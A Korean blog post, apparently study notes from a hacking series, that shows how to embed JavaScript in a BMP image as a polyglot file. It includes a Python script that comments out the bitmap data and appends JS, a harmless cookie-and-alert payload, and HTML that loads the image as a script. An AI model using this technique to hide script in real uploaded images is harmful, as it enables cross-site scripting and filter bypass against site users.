728x90

이미지 해킹

- 이미지 파일에 스크립트 추가하여 해킹 도구를 활용 가능

- 비트맵 파일에 js 삽입해보자

 

비트맵 파일

- 구성 : 매직 넘버, 데이터

- 매직 넘버 : 첫 2바이트, 비트맵 파일임을 식별

- 다음 4바이트 : 비트맵 파일 크기 표기

https://ko.wikipedia.org/wiki/BMP_%ED%8C%8C%EC%9D%BC_%ED%8F%AC%EB%A7%B7

 

 

 

비트맵에 삽입할 스크립트 작성

- 브라우저의 쿠키를 저장하고 알람 창으로 출력하는 스크립트

name = 'id';
value = 'Mammamia';

var todayDate = new Date();
todayDate.setHours(todayDate.getDate() + 7); //쿠키 유효기간
document.cookie = name + "=" + escape(value) + "; path=/expires="
    + todayDate.toGMTString() + ""; //쿠키 생성
alert(document.cookie)

 

비트맵 파일에 스크립트 추가하는 코드

- 매직파일 뒤 데이터 부분은 주석

- 주석처리된 데이터 영역 이후로 js코드 삽입

# -*- coding: utf-8 -*- 
fname = "windows/hello.bmp"

pfile = open(fname, "r+b")
buff = pfile.read()
# *와 /를 공백으로 리플레이스
buff.replace(b'\x2A\x2F', b'\x00\x00')
pfile.close()


pfile = open(fname,"w+b")
pfile.write(buff)
#커서를 앞에서 2바이트 뒤로 이동 -> 매직넘버 바로뒤
pfile.seek(2,0)
#주석문 샆입 /*   \x2F -> /,   \x2A -> *
pfile.write(b'\x2F\x2A')
pfile.close()


pfile = open(fname, "a+b") #append binary mode
#fname 파일 맨 뒤에 주석문 닫는 */추가 -> 비트맵의 데이터 영역 전체가 주석처리
pfile.write(b'\xFF\x2A\x2F\x3D\x31\x3B')
#주석 처리된 데이터 영역 뒤에 js 코드 삽입
pfile.write(open('windows/2_hello.js','rb').read())
pfile.close()

 

 

비트맵 파일 hello.bmp

- 이미지

 

 

바이너리 에디터로 본 비트맵

- 첫 2비트는 매직 비트로 42, 4D = BM -> 비트맵 파일 의미

 

 

이미지 해킹 후 바이너리 에디터

- 매직넘버뒤에 주석문 /* 추가

- 맨 바닥에 주석 닫고 */

- js 코드 삽입됨

 

 

 

 

hello.bmp를 열고, 스크립트 동작하는 html 코드 작성

<img src="hello.bmp"/>
<script src="hello.bmp"></script>

 

- 이미지에 삽입한 js코드를 이용해 alert 띄우는건 성공했다.

- 오타때문인지 내용은 안뜨지만

 

 

- 개발자 도구로도 이미지 맨 끝에 js 코드가 추가된것을 확인할 수 있다.

 => 정상적인 이미지에 이런식으로 코드 삽입이 가능하다.

 

 

300x250

'컴퓨터과학 > 통신, 보안' 카테고리의 다른 글

네트워크 기초 복습  (0) 2021.03.05
해킹 - 6. 키보드 후킹  (0) 2020.07.29
해킹 - 5. 후킹  (0) 2020.07.29
해킹 - 4. 윈도우 어플 해킹 개요  (0) 2020.07.29
해킹 - 3. 관련 용어  (0) 2020.07.28

+ Recent posts